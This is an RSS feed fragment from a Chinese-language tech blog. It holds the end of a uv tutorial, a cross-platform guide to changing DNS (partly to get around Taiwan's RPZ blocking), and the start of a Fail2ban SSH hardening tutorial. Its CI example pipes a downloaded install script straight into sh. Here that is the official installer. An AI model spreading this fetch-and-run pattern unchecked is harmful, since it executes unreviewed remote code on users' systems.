&lt;td&gt;&lt;code&gt;uv run &amp;lt;command&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry run&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;運行工具&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uvx &amp;lt;tool&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pipx run&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安裝工具&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv tool install &amp;lt;tool&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pipx install&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安裝 Python&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv python install &amp;lt;version&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pyenv install&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;鎖定依賴&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry lock&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;同步環境&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv sync&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry install&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;常見場景&lt;/h2&gt;
&lt;h3&gt;場景 1：分享專案環境給同事&lt;/h3&gt;
&lt;p&gt;當你開發完一個專案，想要讓同事能夠快速建立相同的環境時：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;步驟 1：鎖定依賴&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在你的專案目錄中，執行鎖定命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv lock
Resolved 25 packages in 0.5ms
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這會生成一個 &lt;code&gt;uv.lock&lt;/code&gt; 文件，記錄了所有依賴的精確版本。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;步驟 2：提交到版本控制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;將以下文件提交到 Git：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git add pyproject.toml uv.lock
$ git commit -m &quot;Add project dependencies&quot;
$ git push
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;步驟 3：同事取得專案後&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;同事只需要執行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git clone &amp;lt;repository-url&amp;gt;
$ cd &amp;lt;project-name&amp;gt;
$ uv sync
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這樣就能建立完全相同的開發環境了！✨&lt;/p&gt;
&lt;h3&gt;場景 2：接手別人的專案&lt;/h3&gt;
&lt;p&gt;當你拿到一個使用 uv 管理的專案源碼時：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法 1：使用 uv（推薦）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 進入專案目錄
$ cd project-name

# 2. 同步環境（會自動創建 .venv 並安裝依賴）
$ uv sync
Resolved 25 packages in 0.70ms
Installed 25 packages in 150ms

# 3. 運行專案
$ uv run python main.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方法 2：如果專案還有 requirements.txt&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 創建虛擬環境
$ uv venv

# 啟動虛擬環境
$ source .venv/bin/activate  # macOS/Linux
# 或
$ .venv\Scripts\activate     # Windows

# 安裝依賴
$ uv pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;場景 3：確保團隊使用相同的 Python 版本&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;步驟 1：專案負責人固定 Python 版本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv python pin 3.11
Pinned `.python-version` to `3.11`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這會創建一個 &lt;code&gt;.python-version&lt;/code&gt; 文件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;步驟 2：提交 .python-version 到 Git&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git add .python-version
$ git commit -m &quot;Pin Python version to 3.11&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;步驟 3：團隊成員拉取後&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git pull
$ uv sync
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;uv 會自動檢查並使用正確的 Python 版本！如果本地沒有，會提示安裝：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv python install
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;場景 4：更新專案依賴&lt;/h3&gt;
&lt;p&gt;當你需要更新某個套件版本時：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 更新單一套件
$ uv add requests@latest

# 或指定版本
$ uv add &quot;requests&amp;gt;=2.31.0&quot;

# 重新鎖定
$ uv lock

# 提交更新
$ git add pyproject.toml uv.lock
$ git commit -m &quot;Update requests to latest version&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;團隊成員拉取後執行 &lt;code&gt;uv sync&lt;/code&gt; 即可同步更新。&lt;/p&gt;
&lt;h3&gt;場景 5：CI/CD 環境設定&lt;/h3&gt;
&lt;p&gt;在 GitHub Actions 或其他 CI/CD 環境中使用 uv：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# .github/workflows/test.yml
name: Test

on: [push, pull_request]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Install uv
        run: curl -LsSf https://astral.sh/uv/install.sh | sh
      
      - name: Set up Python
        run: uv python install
      
      - name: Install dependencies
        run: uv sync
      
      - name: Run tests
        run: uv run pytest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這樣就能確保 CI 環境和本地開發環境完全一致！&lt;/p&gt;
&lt;h3&gt;場景 6：團隊中混用 pip 和 uv&lt;/h3&gt;
&lt;p&gt;當團隊中有人使用 pip，也有人使用 uv 時，可以透過以下策略協作：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;策略 1：同時維護兩種依賴文件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;專案同時維護 &lt;code&gt;pyproject.toml&lt;/code&gt; 和 &lt;code&gt;requirements.txt&lt;/code&gt;，讓兩種工具的使用者都能順利工作：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 專案結構
project/
├── pyproject.toml      # uv 使用者使用
├── uv.lock            # uv 鎖定文件
└── requirements.txt   # pip 使用者使用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;uv 使用者的工作流程：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 添加新依賴
$ uv add requests

# 生成 requirements.txt 給 pip 使用者
$ uv pip compile pyproject.toml -o requirements.txt

# 提交兩個文件
$ git add pyproject.toml uv.lock requirements.txt
$ git commit -m &quot;Add requests dependency&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;pip 使用者的工作流程：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 拉取更新
$ git pull

# 使用 pip 安裝
$ pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;策略 2：使用 uv 的 pip 兼容模式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;pip 使用者也可以使用 uv 的 pip 命令，維持原有的工作流程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用 uv 的 pip 命令，速度更快：
$ uv pip install -r requirements.txt    # 取代 pip install
$ uv pip freeze &amp;gt; requirements.txt      # 取代 pip freeze
$ uv venv                               # 取代 python -m venv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這樣可以享受 uv 的速度優勢，但維持原有的工作流程！&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;協作注意事項：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;在 README 中說明&lt;/strong&gt;：清楚記錄團隊使用哪種工具，以及如何安裝依賴。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::important
文檔很重要，文檔很重要，文檔很重要，因為很重要所以要說三次，如果同事不愛寫文檔，那祝你好運
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;## 安裝依賴

### 使用 uv
\`\`\`bash
uv sync
\`\`\`

### 使用 pip
\`\`\`bash
pip install -r requirements.txt
\`\`\`
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;定期同步&lt;/strong&gt;：如果維護兩種文件，記得在添加依賴後更新 &lt;code&gt;requirements.txt&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用 pre-commit hook&lt;/strong&gt;：自動同步依賴文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# .git/hooks/pre-commit
#!/bin/bash
if [ -f pyproject.toml ]; then
    uv pip compile pyproject.toml -o requirements.txt
    git add requirements.txt
fi
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;注意事項&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;uv 目前還在快速發展中，某些功能可能還不夠穩定&lt;/li&gt;
&lt;li&gt;如果遇到問題，可以查看&lt;a href=&quot;https://docs.astral.sh/uv/&quot;&gt;官方文檔&lt;/a&gt;或&lt;a href=&quot;https://uv.oaix.tech&quot;&gt;中文文檔&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;建議在新專案中使用，舊專案遷移前請做好備份&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;總結&lt;/h2&gt;
&lt;p&gt;uv 是一個非常強大的 Python 工具，整合了眾多功能，並且速度極快。如果你：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;受夠了 pip 的慢速度&lt;/li&gt;
&lt;li&gt;想要嘗試看看更好的依賴管理&lt;/li&gt;
&lt;li&gt;需要管理多個 Python 版本&lt;/li&gt;
&lt;li&gt;想要一個統一的工具鏈&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那麼 uv 絕對值得一試！&lt;/p&gt;
&lt;h2&gt;參考資料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://uv.oaix.tech&quot;&gt;uv 中文文檔&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astral.sh/uv/&quot;&gt;uv 官方文檔&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/astral-sh/uv&quot;&gt;uv GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://astral.sh&quot;&gt;Astral 官網&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>uv</category><category>Python</category><category>Package Manager</category><category>Rust</category><category>Development</category><category>Tools</category><author>CHIEN (qian)</author></item><item><title>如何更改電腦與手機的 DNS 設定？完整教學指南</title><link>https://blog.chien.dev/posts/change-dns-guide/</link><guid isPermaLink="true">https://blog.chien.dev/posts/change-dns-guide/</guid><description>詳細教學如何在 Windows、macOS、Linux、iOS 和 Android 等各平台上更改 DNS 設定，提升網路速度與安全性。繞過小紅書封鎖、突破網路長城限制。</description><pubDate>Thu, 04 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;什麼是 DNS？為什麼要更改它？&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;DNS（Domain Name System）&lt;/strong&gt; 是網際網路的「電話簿」，負責將網址（如 &lt;code&gt;google.com&lt;/code&gt;）轉換成 IP 位址。&lt;/p&gt;
&lt;p&gt;DNS 也常被用作&lt;strong&gt;網路審查&lt;/strong&gt;工具。透過 &lt;strong&gt;DNS 污染&lt;/strong&gt;、&lt;strong&gt;RPZ (Response Policy Zone)&lt;/strong&gt; 等技術，政府或 ISP 可以封鎖特定網站。最近的例子就是台灣政府封鎖&lt;strong&gt;小紅書&lt;/strong&gt;。這種手法也是中國**網路長城（GFW）**的手段之一，不過 GFW 還結合了 IP 封鎖、深度封包檢測（DPI）等更複雜的技術。&lt;/p&gt;
&lt;h3&gt;更改 DNS 的好處&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;提升網路速度&lt;/strong&gt;：某些 DNS 伺服器回應更快&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;增強安全性&lt;/strong&gt;：防止釣魚網站和惡意軟體&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;改善隱私&lt;/strong&gt;：避免 ISP 追蹤瀏覽記錄&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;繞過網路限制&lt;/strong&gt;：訪問被封鎖的網站（如小紅書）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::important
更改為國際公共 DNS(如 Google 8.8.8.8 或 Cloudflare 1.1.1.1)可繞過 DNS 封鎖,但請注意可能涉及法律問題,使用前請自行評估風險。
:::&lt;/p&gt;
&lt;h3&gt;推薦的公共 DNS&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;DNS 提供商&lt;/th&gt;
&lt;th&gt;主要 DNS&lt;/th&gt;
&lt;th&gt;備用 DNS&lt;/th&gt;
&lt;th&gt;特色&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Google&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;8.8.8.8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;8.8.4.4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;速度快、穩定性高、全球覆蓋&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloudflare&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.1.1.1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.0.0.1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;注重隱私、速度最快&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Quad9&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;9.9.9.9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;149.112.112.112&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;主打安全性&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;電腦端設定&lt;/h2&gt;
&lt;p&gt;:::tip
&lt;strong&gt;最快方法&lt;/strong&gt;：想快速繞過 DNS 封鎖（如小紅書），建議先試「方法一：瀏覽器設定」，幾秒鐘就能完成！
:::&lt;/p&gt;
&lt;h3&gt;方法一：瀏覽器設定（最簡單）&lt;/h3&gt;
&lt;p&gt;現代瀏覽器內建安全 DNS（DoH）功能，&lt;strong&gt;最快速且不影響系統&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;Chrome / Edge / Brave&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;點選右上角 &lt;code&gt;⋮&lt;/code&gt; &amp;gt; 「設定」&amp;gt; 「隱私權和安全性」&amp;gt; 「安全性」&lt;/li&gt;
&lt;li&gt;啟用「使用安全 DNS」，選擇 &lt;strong&gt;Google Public DNS&lt;/strong&gt; 或 &lt;strong&gt;Cloudflare&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;立即生效，無需重啟&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Firefox&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;點選 &lt;code&gt;☰&lt;/code&gt; &amp;gt; 「設定」&amp;gt; 「隱私權與安全性」&lt;/li&gt;
&lt;li&gt;勾選「啟用 DNS over HTTPS」&lt;/li&gt;
&lt;li&gt;選擇 &lt;strong&gt;Cloudflare&lt;/strong&gt; 或 &lt;strong&gt;Google&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::note
&lt;strong&gt;優點&lt;/strong&gt;：只影響瀏覽器，適合快速測試&lt;br /&gt;
&lt;strong&gt;限制&lt;/strong&gt;：其他應用程式仍使用系統 DNS
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;方法二：Windows 系統設定&lt;/h3&gt;
&lt;h4&gt;圖形介面&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;按 &lt;code&gt;Win + I&lt;/code&gt; &amp;gt; 「網路和網際網路」&amp;gt; 「進階網路設定」&amp;gt; 「變更介面卡選項」&lt;/li&gt;
&lt;li&gt;在網路連線上按右鍵 &amp;gt; 「內容」&lt;/li&gt;
&lt;li&gt;雙擊「網際網路通訊協定第 4 版 (TCP/IPv4)」&lt;/li&gt;
&lt;li&gt;選擇「使用下列的 DNS 伺服器位址」
&lt;ul&gt;
&lt;li&gt;慣用：&lt;code&gt;8.8.8.8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;其他：&lt;code&gt;8.8.4.4&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;點選「確定」&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;PowerShell（進階）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# 以系統管理員身分執行
Set-DnsClientServerAddress -InterfaceAlias &quot;Wi-Fi&quot; -ServerAddresses (&quot;8.8.8.8&quot;,&quot;8.8.4.4&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;方法三：macOS 系統設定&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Apple 選單 &amp;gt; 「系統設定」&amp;gt; 「網路」&lt;/li&gt;
&lt;li&gt;選擇連線 &amp;gt; 「詳細資料」&amp;gt; 「DNS」&lt;/li&gt;
&lt;li&gt;點選 &lt;code&gt;+&lt;/code&gt; 新增 DNS：&lt;code&gt;8.8.8.8&lt;/code&gt; 和 &lt;code&gt;8.8.4.4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;點選「好」&amp;gt; 「套用」&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;終端機方式&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo networksetup -setdnsservers Wi-Fi 8.8.8.8 8.8.4.4
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;手機端設定&lt;/h2&gt;
&lt;h3&gt;iOS&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;「設定」&amp;gt; 「Wi-Fi」&amp;gt; 點選網路旁的 &lt;code&gt;ⓘ&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;「設定 DNS」&amp;gt; 選擇「手動」&lt;/li&gt;
&lt;li&gt;刪除現有 DNS，新增 &lt;code&gt;8.8.8.8&lt;/code&gt; 和 &lt;code&gt;8.8.4.4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;點選「儲存」&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::tip
推薦安裝 Google 或 Cloudflare 的 App (如 1.1.1.1) 啟用加密 DNS
:::&lt;/p&gt;
&lt;h3&gt;Android&lt;/h3&gt;
&lt;h4&gt;私人 DNS（推薦，Android 9+）&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;「設定」&amp;gt; 「網路和網際網路」&amp;gt; 「私人 DNS」&lt;/li&gt;
&lt;li&gt;選擇「私人 DNS 提供者主機名稱」&lt;/li&gt;
&lt;li&gt;輸入：
&lt;ul&gt;
&lt;li&gt;Cloudflare：&lt;code&gt;1dot1dot1dot1.cloudflare-dns.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Google：&lt;code&gt;dns.google&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;點選「儲存」&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::important
私人 DNS 使用 DoT 協定，提供更好的隱私保護
:::&lt;/p&gt;
&lt;h4&gt;Wi-Fi 設定&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;長按 Wi-Fi 網路 &amp;gt; 「修改網路」&amp;gt; 「進階選項」&lt;/li&gt;
&lt;li&gt;IP 設定改為「靜態」&lt;/li&gt;
&lt;li&gt;DNS 1：&lt;code&gt;8.8.8.8&lt;/code&gt;，DNS 2：&lt;code&gt;8.8.4.4&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;如何測試 DNS 是否生效？&lt;/h2&gt;
&lt;h3&gt;線上檢測&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://1.1.1.1/help&quot;&gt;Cloudflare 檢測&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dnsleaktest.com/&quot;&gt;DNS Leak Test&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;命令列&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Windows/macOS/Linux
nslookup google.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看輸出中的「Server」欄位，應顯示你設定的 DNS。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;常見問題 FAQ&lt;/h2&gt;
&lt;h3&gt;Q1: 更改 DNS 會影響網路速度嗎？&lt;/h3&gt;
&lt;p&gt;可以稍微提升速度，但差異不明顯。最大好處是穩定性和安全性。&lt;/p&gt;
&lt;h3&gt;Q2: 我該選擇哪個 DNS？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;一般使用者&lt;/strong&gt;：Google (8.8.8.8) 或 Cloudflare (1.1.1.1)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注重隱私&lt;/strong&gt;：Cloudflare (1.1.1.1)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注重安全&lt;/strong&gt;：Quad9 (9.9.9.9)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q3: 如何恢復預設設定？&lt;/h3&gt;
&lt;p&gt;將 DNS 改回「自動取得」或「DHCP」即可。&lt;/p&gt;
&lt;h3&gt;Q4: 什麼是 RPZ？台灣有封鎖網站嗎？&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;RPZ (Response Policy Zone)&lt;/strong&gt; 是 DNS 層級的內容過濾技術。台灣自 2020 年起要求電信業者實施 RPZ，原意是防詐騙，但出現爭議：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;🚫 某些網站僅憑公文就被封鎖&lt;/li&gt;
&lt;li&gt;⚠️ 誤封事件：Instagram、小紅書等&lt;/li&gt;
&lt;li&gt;📋 缺乏申訴管道&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::warning
更改 DNS 訪問被誤封的合法網站（如小紅書）是合理自保，但訪問明顯違法內容仍可能觸法。
:::&lt;/p&gt;
&lt;h3&gt;Q5: 更改 DNS 就能完全翻牆了嗎？&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;不完全是&lt;/strong&gt;。DNS 封鎖只是網路審查的一種：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;DNS 封鎖&lt;/strong&gt;：更改 DNS 可繞過（台灣 RPZ、中國 DNS 污染）&lt;/li&gt;
&lt;li&gt;❌ &lt;strong&gt;IP 封鎖&lt;/strong&gt;：需要 VPN&lt;/li&gt;
&lt;li&gt;❌ &lt;strong&gt;深度封包檢測（DPI）&lt;/strong&gt;：需要 VPN&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;中國的 GFW 同時使用三種技術，單純更改 DNS 無法突破。但台灣目前僅 DNS 層級封鎖，更改 DNS 就足夠。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;結語&lt;/h2&gt;
&lt;p&gt;更改 DNS 是簡單有效的網路優化方式，幾分鐘就能完成。無論是提升速度、安全性或隱私保護，都值得一試！&lt;/p&gt;
&lt;p&gt;:::note
&lt;strong&gt;延伸閱讀&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://1.1.1.1/&quot;&gt;Cloudflare 1.1.1.1 官方網站&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cloudflare.com/learning/dns/dns-over-tls/&quot;&gt;什麼是 DNS over HTTPS?&lt;/a&gt;
:::&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>DNS</category><category>Network</category><category>Windows</category><category>macOS</category><category>Linux</category><category>iOS</category><category>Android</category><category>Tutorial</category><category>小紅書</category><category>封鎖</category><category>RPZ</category><category>網路長城</category><category>GFW</category><category>DNS封鎖</category><category>翻牆</category><category>網路審查</category><category>小紅書被封</category><category>DNS污染</category><author>CHIEN (qian)</author></item><item><title>Fail2ban SSH 防護完整使用教學：安裝、設定與參數詳解</title><link>https://blog.chien.dev/posts/fail2ban1/</link><guid isPermaLink="true">https://blog.chien.dev/posts/fail2ban1/</guid><description>完整的 Fail2ban SSH 防護教學指南。從安裝到進階設定，詳細說明 Fail2ban 如何自動封鎖暴力破解攻擊，包含 jail 設定、參數調整與實戰測試，保護你的 Linux 伺服器安全。</description><pubDate>Wed, 10 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;簡介&lt;/h2&gt;
&lt;p&gt;Fail2ban 是一款強大的開源入侵防禦工具，專門用於保護 Linux 系統免受暴力破解攻擊。它透過即時監控系統日誌檔案，自動偵測異常登入行為，並將可疑的 IP 位址加入防火牆黑名單，有效提升伺服器的安全性。&lt;/p&gt;
&lt;p&gt;對於暴露在公網上的 SSH 服務來說，Fail2ban 是不可或缺的第一道防線，能夠有效阻擋自動化的密碼暴力破解攻擊。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;安裝 Fail2ban&lt;/h2&gt;
&lt;h3&gt;Ubuntu / Debian 系統&lt;/h3&gt;
&lt;p&gt;使用 APT 套件管理器安裝 Fail2ban：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get update
sudo apt-get install fail2ban -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安裝完成後，Fail2ban 服務會自動啟動。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;基礎設定&lt;/h2&gt;
&lt;h3&gt;主要設定檔案&lt;/h3&gt;
&lt;p&gt;Fail2ban 的主要設定檔位於 &lt;code&gt;/etc/fail2ban&lt;/code&gt; 目錄下。核心設定檔為 &lt;code&gt;/etc/fail2ban/fail2ban.conf&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重要提醒&lt;/strong&gt;：為避免套件更新時覆蓋你的自訂設定，我們需要建立一個本地設定檔 &lt;code&gt;/etc/fail2ban/fail2ban.local&lt;/code&gt;，所有修改都在此檔案中進行。&lt;/p&gt;
&lt;p&gt;複製預設設定檔：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo cp /etc/fail2ban/fail2ban.conf /etc/fail2ban/fail2ban.local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;設定開機自動啟動：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl enable fail2ban
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;設定日誌檔案位置&lt;/h3&gt;
&lt;p&gt;編輯 &lt;code&gt;/etc/fail2ban/fail2ban.local&lt;/code&gt;，找到 &lt;code&gt;[Definition]&lt;/code&gt; 區段，設定日誌檔案路徑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Definition]
logtarget = /var/log/fail2ban/fail2ban.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改完成後，需要手動建立日誌目錄並重啟服務（系統不會自動建立）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo mkdir -p /var/log/fail2ban  # 建立日誌目錄
sudo service fail2ban restart    # 重啟服務
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;檢查服務狀態&lt;/h3&gt;
&lt;p&gt;重啟完成後，可以檢查 Fail2ban 服務是否正常運作：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo service fail2ban status
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果設定正確，你會看到類似以下的輸出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;● fail2ban.service - Fail2Ban Service
     Loaded: loaded (/usr/lib/systemd/system/fail2ban.service; enabled; preset: enabled)
    Drop-In: /run/systemd/system/service.d
             └─zzz-lxc-service.conf
     Active: active (running) since Wed 2025-12-10 13:14:12 CST; 3s ago
 Invocation: 5d78b37f2bc84ac891657d15c7014770
       Docs: man:fail2ban(1)
   Main PID: 4002 (fail2ban-server)
      Tasks: 5 (limit: 14406)
     Memory: 25M (peak: 25M)
        CPU: 66ms
